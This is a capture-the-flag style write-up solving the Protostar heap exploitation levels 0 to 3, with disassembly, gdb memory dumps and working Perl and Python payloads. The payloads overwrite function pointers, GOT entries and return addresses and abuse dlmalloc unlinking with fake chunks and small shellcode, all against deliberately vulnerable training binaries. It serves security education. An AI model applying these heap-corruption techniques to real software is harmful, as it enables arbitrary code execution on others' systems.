Exploit Exercises - Protostar - Heap levels



Heap 0

For this scenario we need to run the winner() function. To get a better idea about the binary a look at the assembly helps.

0x08048492 <main+6>:    sub    $0x20,%esp
0x08048495 <main+9>:    movl   $0x40,(%esp)
0x0804849c <main+16>:   call   0x8048388 <malloc@plt>  ; malloc(64)
0x080484a1 <main+21>:   mov    %eax,0x18(%esp)         ; store address
0x080484a5 <main+25>:   movl   $0x4,(%esp)
0x080484ac <main+32>:   call   0x8048388 <malloc@plt>  ; malloc(4)
0x080484b1 <main+37>:   mov    %eax,0x1c(%esp)         ; store address
0x080484b5 <main+41>:   mov    $0x8048478,%edx         ; nowinner()
0x080484ba <main+46>:   mov    0x1c(%esp),%eax
0x080484be <main+50>:   mov    %edx,(%eax)
0x080484c0 <main+52>:   mov    $0x80485f7,%eax         ; "data is at %p, fp is at %p\n"
0x080484dd <main+81>:   mov    0xc(%ebp),%eax
0x080484e0 <main+84>:   add    $0x4,%eax
0x080484e3 <main+87>:   mov    (%eax),%eax
0x080484e5 <main+89>:   mov    %eax,%edx
0x080484e7 <main+91>:   mov    0x18(%esp),%eax
0x080484eb <main+95>:   mov    %edx,0x4(%esp)
0x080484ef <main+99>:   mov    %eax,(%esp)
0x080484f2 <main+102>:  call   0x8048368 <strcpy@plt>  ; vulnerable function
0x080484f7 <main+107>:  mov    0x1c(%esp),%eax         ; load pointer
0x080484fb <main+111>:  mov    (%eax),%eax             ; follow pointer
0x080484fd <main+113>:  call   %eax                    ; execute function pointer

So, the binary allocates 64+4 bytes on the heap. Afterwards, the argument is copied into the first allocated memory part. As strcpy does not limit the length, we can write into the second variable. That variable contains a function pointer that is executed afterwards.

So in order to overwrite the function pointer we have to write

user@protostar:/$ /opt/protostar/bin/heap0 $(perl -e 'print "A"x72 . "\x64\x84\x04\x08";')
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

Again, we need to run the winner() function. Let’s see what’s going on.

0x080484c2 <main+9>:    mov    DWORD PTR [esp],0x8       ; pass 8
0x080484c9 <main+16>:   call   0x80483bc <malloc@plt>    ; allocate
0x080484ce <main+21>:   mov    DWORD PTR [esp+0x14],eax  ; store PTR
0x080484d2 <main+25>:   mov    eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>:   mov    DWORD PTR [eax],0x1       ; store 1
0x080484dc <main+35>:   mov    DWORD PTR [esp],0x8       ; pass 8
0x080484e3 <main+42>:   call   0x80483bc <malloc@plt>    ; allocate
0x080484e8 <main+47>:   mov    edx,eax
0x080484ea <main+49>:   mov    eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>:   mov    DWORD PTR [eax+0x4],edx   ; store pointer
0x080484f1 <main+56>:   mov    DWORD PTR [esp],0x8       ; pass 8
0x080484f8 <main+63>:   call   0x80483bc <malloc@plt>    ; allocate
0x080484fd <main+68>:   mov    DWORD PTR [esp+0x18],eax  ; store PTR
0x08048501 <main+72>:   mov    eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>:   mov    DWORD PTR [eax],0x2       ; store 2
0x0804850b <main+82>:   mov    DWORD PTR [esp],0x8       ; pass 8
0x08048512 <main+89>:   call   0x80483bc <malloc@plt>    ; allocate
0x08048517 <main+94>:   mov    edx,eax
0x08048519 <main+96>:   mov    eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>:  mov    DWORD PTR [eax+0x4],edx   ; store pointer

So this time we have four mallocs with 8 bytes each. Also, some kind of counter. The data structure includes an integer as well as a char array.

0x08048520 <main+103>:  mov    eax,DWORD PTR [ebp+0xc]    ; ARG
0x08048523 <main+106>:  add    eax,0x4                    ; ARGV2
0x08048526 <main+109>:  mov    eax,DWORD PTR [eax]        ; resolve pointer
0x08048528 <main+111>:  mov    edx,eax
0x0804852a <main+113>:  mov    eax,DWORD PTR [esp+0x14]   ; load struct1 PTR
0x0804852e <main+117>:  mov    eax,DWORD PTR [eax+0x4]    ; PTR+4
0x08048531 <main+120>:  mov    DWORD PTR [esp+0x4],edx    ; pass ARGV1
0x08048535 <main+124>:  mov    DWORD PTR [esp],eax        ; pass struct1[1]
0x08048538 <main+127>:  call   0x804838c <strcpy@plt>
0x0804853d <main+132>:  mov    eax,DWORD PTR [ebp+0xc]    ; ARG
0x08048540 <main+135>:  add    eax,0x8                    ; ARGV2
0x08048543 <main+138>:  mov    eax,DWORD PTR [eax]        ; resolve pointer
0x08048545 <main+140>:  mov    edx,eax
0x08048547 <main+142>:  mov    eax,DWORD PTR [esp+0x18]   ; load struct2 PTR
0x0804854b <main+146>:  mov    eax,DWORD PTR [eax+0x4]    ; PTR+4
0x0804854e <main+149>:  mov    DWORD PTR [esp+0x4],edx    ; pass ARGV2
0x08048552 <main+153>:  mov    DWORD PTR [esp],eax        ; pass struct2[1]
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  mov    DWORD PTR [esp],0x804864b
0x08048561 <main+168>:  call   0x80483cc <puts@plt>

And lets take a short look at the heap layout just before the executable terminates.

gdb$ run AAAAAx/20x 0x0804a008
0x804a008:      0x00000001      0x0804a018      0x00000000      0x00000011
0x804a018:      0x41414141      0x41414141      0x00000000      0x00000011
0x804a028:      0x00000002      0x0804a038      0x00000000      0x00000011
0x804a038:      0x42424242      0x42424242      0x00000000      0x00020fc1

In order to exploit the code we have to manipulate the destination address of 2nd strcpy. To do this, we will write 20 bytes with the first argument. By doing this, we can overwrite the pointer in struct2. Next, we need to find a suitable location so we can run winner().

Method 1 - GOT

We can overwrite the global address table information of puts.

gdb$ x/i 0x80483cc
0x80483cc <puts@plt>:   jmp    DWORD PTR ds:0x8049774
gdb$ x/x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483d2
gdb$ print winner
$1 = {void (void)} 0x8048494 <winner>

With the relevant addresses, we put our exploit to a trial.

user@protostar:/$ /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 ."\x74\x97\x04\x08" ." \x94\x84\x04\x08";')
and we have a winner @ 1409411437

Method 2 - Return-Address

Another option is to overwrite the return address of the stack frame. To do this, we have to overwrite EBP+4 with our target destination. In our case that would be 0xbffff61c.

But with gdb the addresses are slightly off. So with a little trial and error, we get the correct offset 0xbffff62c.

user@protostar:/$ /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 ."\x2c\xf6\xff\xbf" ." \x94\x84\x04\x08";')
and that's a wrap folks!
and we have a winner @ 1409414149
Segmentation fault (core dumped)

Heap 2

This time we have something like a login service. Lets see what the assembly tells about the binary.

0x08048940 <main+12>:   jmp    0x8048943 <main+15>
0x08048942 <main+14>:   nop
0x08048943 <main+15>:   mov    0x804b5f8,%ecx      ; service
0x08048949 <main+21>:   mov    0x804b5f4,%edx      ; auth
0x0804894f <main+27>:   mov    $0x804ad70,%eax     ; "[ auth = %p, service = %p ]\n"
0x08048954 <main+32>:   mov    %ecx,0x8(%esp)      ; pass service
0x08048958 <main+36>:   mov    %edx,0x4(%esp)      ; pass auth
0x0804895c <main+40>:   mov    %eax,(%esp)         ; pass format string
0x0804895f <main+43>:   call   0x804881c <printf@plt>

This is simply the additional information, that should help beginners like us.

0x08048964 <main+48>:   mov    0x804b164,%eax     ; stdin()
0x08048969 <main+53>:   mov    %eax,0x8(%esp)     ; pass stdin
0x0804896d <main+57>:   movl   $0x80,0x4(%esp)    ; pass 120
0x08048975 <main+65>:   lea    0x10(%esp),%eax
0x08048979 <main+69>:   mov    %eax,(%esp)        ; pass line
0x0804897c <main+72>:   call   0x80487ac <fgets@plt>

So the binary reads up to 120 bytes into a local variable. This is then compared against four keywords: auth, service, reset, login. We will examine the respective parts separately.

0x080489a7 <main+115>:  movl   $0x4,(%esp)
0x080489ae <main+122>:  call   0x804916a <malloc>
0x080489b3 <main+127>:  mov    %eax,0x804b5f4        ; auth
0x080489b8 <main+132>:  mov    0x804b5f4,%eax
0x080489bd <main+137>:  movl   $0x4,0x8(%esp)
0x080489c5 <main+145>:  movl   $0x0,0x4(%esp)        ; pass 0 - zero out allocated heap
0x080489cd <main+153>:  mov    %eax,(%esp)
0x080489d0 <main+156>:  call   0x80487bc <memset@plt>
0x080489d5 <main+161>:  lea    0x10(%esp),%eax       ; line
0x080489d9 <main+165>:  add    $0x5,%eax             ; skip "auth "
0x080489dc <main+168>:  mov    %eax,(%esp)
0x080489df <main+171>:  call   0x80487fc <strlen@plt>
0x080489e4 <main+176>:  cmp    $0x1e,%eax            ; less or equal 31 bytes
0x080489e7 <main+179>:  ja     0x8048a01 <main+205>
0x080489e9 <main+181>:  lea    0x10(%esp),%eax       ; line
0x080489ed <main+185>:  lea    0x5(%eax),%edx        ; skip "auth "
0x080489f0 <main+188>:  mov    0x804b5f4,%eax        ; auth
0x080489f5 <main+193>:  mov    %edx,0x4(%esp)
0x080489f9 <main+197>:  mov    %eax,(%esp)
0x080489fc <main+200>:  call   0x804880c <strcpy@plt>^

Auth will allocate 4 bytes on the heap. That memory space will be zeroed out. Afterwards, the string length is checked, excluding the keyword. This is probably done, due to some size restrictions of the destination variable. Then, the user input is copied to the allocated memory.

0x08048a21 <main+237>:  mov    0x804b5f4,%eax         ; auth
0x08048a26 <main+242>:  mov    %eax,(%esp)
0x08048a29 <main+245>:  call   0x804999c <free>

Reset will free the allocated memory for auth. No security checks are present.

0x08048a4e <main+282>:  lea    0x10(%esp),%eax        ; line
0x08048a52 <main+286>:  add    $0x7,%eax              ; skip "service"
0x08048a55 <main+289>:  mov    %eax,(%esp)
0x08048a58 <main+292>:  call   0x804886c <strdup@plt>
0x08048a5d <main+297>:  mov    %eax,0x804b5f8         ; service

Service will simply copy the input string to service. No security checks are present.

0x08048a86 <main+338>:  mov    0x804b5f4,%eax         ; auth
0x08048a8b <main+343>:  mov    0x20(%eax),%eax        ; auth+32
0x08048a8e <main+346>:  test   %eax,%eax
0x08048a90 <main+348>:  je     0x8048aa3 <main+367>
0x08048a92 <main+350>:  movl   $0x804ada7,(%esp)      ; pass "you have logged in already!"
0x08048a99 <main+357>:  call   0x804883c <puts@plt>
0x08048a9e <main+362>:  jmp    0x8048943 <main+15>    ; loop
0x08048aa3 <main+367>:  movl   $0x804adc3,(%esp)      ; pass "please enter your password"
0x08048aaa <main+374>:  call   0x804883c <puts@plt>
0x08048aaf <main+379>:  jmp    0x8048943 <main+15>    ; loop

Login will load the auth struct pointer. Then, it adjusts the pointer by 32 bytes. This corresponds to the length check for “auth”. The problem is, that only four bytes are mallocated. This also gives an idea about the most simple solution to solve this level.


A char array for malloc only represents a single pointer. The struct also contains an integer for authentication. Thus malloc allocates eight bytes for the struct. At the same time the char array has a size of 32 bytes. This means, that the integer is located at struct+32. Let’s take a look at the memory layout.

(gdb) x/10x 0x804c008
0x804c008:      0x61616161      0x0000000a      0x00000000      0x00000019
0x804c018:      0x62626220      0x62626262      0x62626262      0x62626262
0x804c028:      0x00000a62      0x00000fd9

The auth struct is stored at 0x804c008. The service variable is stored right after that.

user@protostar:/opt/protostar/bin$ python -c 'print "auth AAAA\n" + "service" + "B" * 16 + "\n" + "login\n"' | /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
[ auth = 0x804c008, service = 0x804c018 ]

This is how we can get a nonzero value at the relevant memory position. Probably the most simple solution to this task.

Heap 3

Let’s examine the assembly of this level right away.

0x08048892 <main+9>:    movl   $0x20,(%esp)        ; pass 32
0x08048899 <main+16>:   call   0x8048ff2 <malloc>
0x0804889e <main+21>:   mov    %eax,0x14(%esp)     ; A
0x080488a2 <main+25>:   movl   $0x20,(%esp)        ; pass 32
0x080488a9 <main+32>:   call   0x8048ff2 <malloc>
0x080488ae <main+37>:   mov    %eax,0x18(%esp)     ; B
0x080488b2 <main+41>:   movl   $0x20,(%esp)        ; pass 32
0x080488b9 <main+48>:   call   0x8048ff2 <malloc>
0x080488be <main+53>:   mov    %eax,0x1c(%esp)     ; C

So the binary allocates three heap variables with 32 byte.

0x080488c2 <main+57>:   mov    0xc(%ebp),%eax      ; ARGV
0x080488c5 <main+60>:   add    $0x4,%eax           ; ARG1
0x080488c8 <main+63>:   mov    (%eax),%eax
0x080488ca <main+65>:   mov    %eax,0x4(%esp)
0x080488ce <main+69>:   mov    0x14(%esp),%eax     ; A
0x080488d2 <main+73>:   mov    %eax,(%esp)
0x080488d5 <main+76>:   call   0x8048750 <strcpy@plt>
0x080488da <main+81>:   mov    0xc(%ebp),%eax      ; ARGV
0x080488dd <main+84>:   add    $0x8,%eax           ; ARG2
0x080488e0 <main+87>:   mov    (%eax),%eax
0x080488e2 <main+89>:   mov    %eax,0x4(%esp)
0x080488e6 <main+93>:   mov    0x18(%esp),%eax     ; B
0x080488ea <main+97>:   mov    %eax,(%esp)
0x080488ed <main+100>:  call   0x8048750 <strcpy@plt>
0x080488f2 <main+105>:  mov    0xc(%ebp),%eax      ; ARGV
0x080488f5 <main+108>:  add    $0xc,%eax           ; ARG3
0x080488f8 <main+111>:  mov    (%eax),%eax
0x080488fa <main+113>:  mov    %eax,0x4(%esp)
0x080488fe <main+117>:  mov    0x1c(%esp),%eax     ; C
0x08048902 <main+121>:  mov    %eax,(%esp)
0x08048905 <main+124>:  call   0x8048750 <strcpy@plt>
0x0804890a <main+129>:  mov    0x1c(%esp),%eax

Then the arguments are copied to the allocated memory locations.

0x0804890a <main+129>:  mov    0x1c(%esp),%eax     ; C
0x0804890e <main+133>:  mov    %eax,(%esp)
0x08048911 <main+136>:  call   0x8049824 <free>
0x08048916 <main+141>:  mov    0x18(%esp),%eax     ; B
0x0804891a <main+145>:  mov    %eax,(%esp)
0x0804891d <main+148>:  call   0x8049824 <free>
0x08048922 <main+153>:  mov    0x14(%esp),%eax     ; A
0x08048926 <main+157>:  mov    %eax,(%esp)
0x08048929 <main+160>:  call   0x8049824 <free>
0x0804892e <main+165>:  movl   $0x804ac27,(%esp)
0x08048935 <main+172>:  call   0x8048790 <puts@plt>

Then, the three variables are free()d. And let’s take a look at the heap right after the mallocs.

(gdb) x/8x $esp+0x14
0xbffff654:     0x0804c008      0x0804c030      0x0804c058      0x0804ab50
0xbffff664:     0x00000000      0xbffff6e8      0xb7eadc76      0x00000004
(gdb) x/12x 0x0804c008-8
0x804c000:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c038:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c048:      0x00000000      0x00000000      0x00000000      0x00000029
(gdb) x/12x 0x0804c058-8
0x804c050:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89

Malloc & free

A good explanation of heap memory management is available in phrack 57 - Once upon a free(). Let’s just sum up the essential parts.

Malloc allocates the number of requested bytes + 8. The layout on the heap of a single chunk looks as follows:

;            +----------------------------------+
    chunk -> | prev_size                        |
             | size                         |M|P|
      mem -> | data                             |
             : ...                              :
nextchunk -> | prev_size ...                    |
             :                                  :

In the above listing M corresponds to the IS_MMAPPED flag. P on the other hand, corresponds to the PREV_INUSE flag.

After free()ing the memory, the unallocated chunks are kept in an double-linked list. The chunk usually includes size and prev_size as well as a pointer forward and backwards.

;            +----------------------------------+
    chunk -> | prev_size                        |
             | size                             |
      mem -> | fd                               |
             | bk                               |
             | (old memory, can be zero bytes)  |
             :                                  :
nextchunk -> | prev_size ...                    |
             :                                  :

With malloc based buffer overflow we can manipulate the heap structure. Subsequently, free()ing utilizes fd an bk pointers to adjust the list. This write allows use to e.g. manipulate the Global Offset Table.

A few aspects have to be taken into consideration:

  • the least significant bit of ‘size’ has to be zero (PREV_INUSE).
  • ‘prev_size’ and ‘size’ should be add-safe to a pointer that is read from. So either use very small values up to a few thousand, or use big values such as 0xfffffffc.
  • (chunk_boundary + size + 4) the lowest bit is zeroed out (0xfffffffc will work just fine)
  • (bk + 8) will be overwritten. A short jump can help thwart that problem.

An generic way to exploit this vulnerability looks as follows:

;            +----------------------------------+
   retloc -> | \xeb\x0c \x90\x90                |
             | \x90\x90\x90\x90                 |
             :  shellcode                       :
    chunk -> | \xff\xff\xff\xfc                 |
             | \xf0                             |
      mem -> | retloc - 0xc                     |
             | retaddr                          |
             :                                  :

Let’s try this approach.

Bending the Heap

The trick here is to use a negative value for the previous chunk size. This forces the previous chunk to be calculated after the current chunk while avoiding null bytes. Doing this, basically allows us to introduce a virtual chunk.

To be more precise, we can write 32 bytes to fill up one chunk. Then, we need to append size of previous chunk: 0xfffffffc = -4. Next comes the size of our virtual chunk: 0xf0 = 240. Any size above 64 bytes with the two LSB set to 8 does the trick.

Starting program: /opt/protostar/bin/heap3 AAAA $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') CCCCDDDDEEEE

Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
(gdb) x/12x 0x0804c008-8
0x804c000:      0x00000000      0x00000029      0x41414141      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028:      0x00000000      0x00000029      0x42424242      0x42424242
0x804c038:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c048:      0x42424242      0x42424242      0xfffffffc      0x000000f0
(gdb) x/12x 0x0804c058-8
0x804c050:      0xfffffffc      0x000000f0      0x43434343      0x44444444
0x804c060:      0x45454545      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
(gdb) x/i $eip
0x80498fd <free+217>:   mov    %edx,0xc(%eax)
(gdb) i r $eax $edx
eax            0x44444444       1145324612
edx            0x45454545       1162167621

Once the free() gets executed it segfaults trying to write to 0x44444444 + 0xc with the value 0x45454545. This was an expected behavior when trying to unlink the third chunk.

The next step is to set the FD and BK pointers correctly. For this exercise, we have to execute the winner() function. To achieve our goal, we can patch the GOT for the puts() call.

user@protostar:/$ objdump -R /opt/protostar/binheap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts
user@protostar:/$ objdump -R /opt/protostar/binheap3 | grep -i winner
08048864 g     F .text  00000025              winner

So we need to overwrite 0x0804b128 with 0x08048864. The destination address should be adjusted by - 0xc = 0x0804b11c. Let’s see how this works.

Starting program: /opt/protostar/bin/heap3 AAAA $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x64\x88\x04\x08"')

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x08048864
(gdb) x/i $eip
0x8049906 <free+226>:   mov    %edx,0x8(%eax)
(gdb) i r $eax $edx
eax            0x8048864        134514788
edx            0x804b11c        134525212

So there’s still a problem. During unlinking, also the location of bk+8 is written. This winner function is located in the .text section of the binary and is not writeable. We can try to jump into the first heap chunk and Let’s take a look.

(gdb) r $(perl -e 'print "\xCC"x32') $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')

Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x00000000  EBX: 0xB7FD7FF4  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF5F8  ESP: 0xBFFFF5B0  EIP: 0x08049951
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
0x8049951 <free+301>:	mov    DWORD PTR [eax+0xc],edx
0x8049954 <free+304>:	mov    eax,DWORD PTR [ebp-0x18]
0x8049957 <free+307>:	mov    edx,DWORD PTR [ebp-0x14]
0x804995a <free+310>:	mov    DWORD PTR [eax+0x8],edx
0x804995d <free+313>:	mov    eax,DWORD PTR [ebp-0x24]
0x8049960 <free+316>:	add    DWORD PTR [ebp-0x30],eax
0x8049963 <free+319>:	mov    eax,DWORD PTR [ebp-0x38]
0x8049966 <free+322>:	add    eax,0x34
gdb$ x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:	0x0804c008
gdb$ x/12x 0x0804c008-8
0x804c000:	0x00000000	0x00000029	0xcccccccc	0xcccccccc
0x804c010:	0x0804b11c	0xcccccccc	0xcccccccc	0xcccccccc
0x804c020:	0xcccccccc	0xcccccccc	0x00000000	0x00000029

So, the fd-pointer is written. We run into a problem when the third chunk is free()d.

The code branch of free+301 is responsible to keep the pointers in place. In particular, the pointers of next_next chunk are checked

Now we need to fix fd, the pointer to the next chunk.

(gdb) r $(perl -e 'print "\xCC"x32') $(perl -e 'print "B"x16 ."\x01"x4 ."\xff"x4 ."B"x8 ."\xfc\xff\xff\xff" ."\xf0\xff\xff\xff"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')
(gdb) x/12x 0x0804c008-8
0x804c000:      0x00000000      0x00000029      0xcccccccc      0xcccccccc
0x804c010:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x804c020:      0xcccccccc      0xcccccccc      0x00000000      0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028:      0x00000000      0x00000029      0x42424242      0x42424242
0x804c038:      0x42424242      0x42424242      0x01010101      0xffffffff
0x804c048:      0x42424242      0x42424242      0xfffffffc      0xfffffff0
(gdb) x/12x 0x0804c058-8
0x804c050:      0xfffffffc      0xfffffff0      0x43434343      0x0804b11c
0x804c060:      0x0804c008      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89


Now the heap is ready and execution stops at 0x804c008. Let’s adjust our code to execute winner().

We need to jump over the invalid bytes at 0x0804c010. A short jump \xeb get’s us where we want. Then, we can push our destination address and finally return to finish this exercise.

(gdb) r $(perl -e 'print "AAAA" ."\xeb\x06" ."\x90"x6 ."\x68" ."\x64\x88\x04\x08" ."\xc3"') $(perl -e 'print "B"x16 ."\x01"x4 ."\xff"x4 ."B"x8 ."\xfc\xff\xff\xff" ."\xf0\xff\xff\xff"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')
that wasn't too bad now, was it? @ 1414895218

Program exited with code 056.

Links and References

Exploit Exercises

Heap Exploitation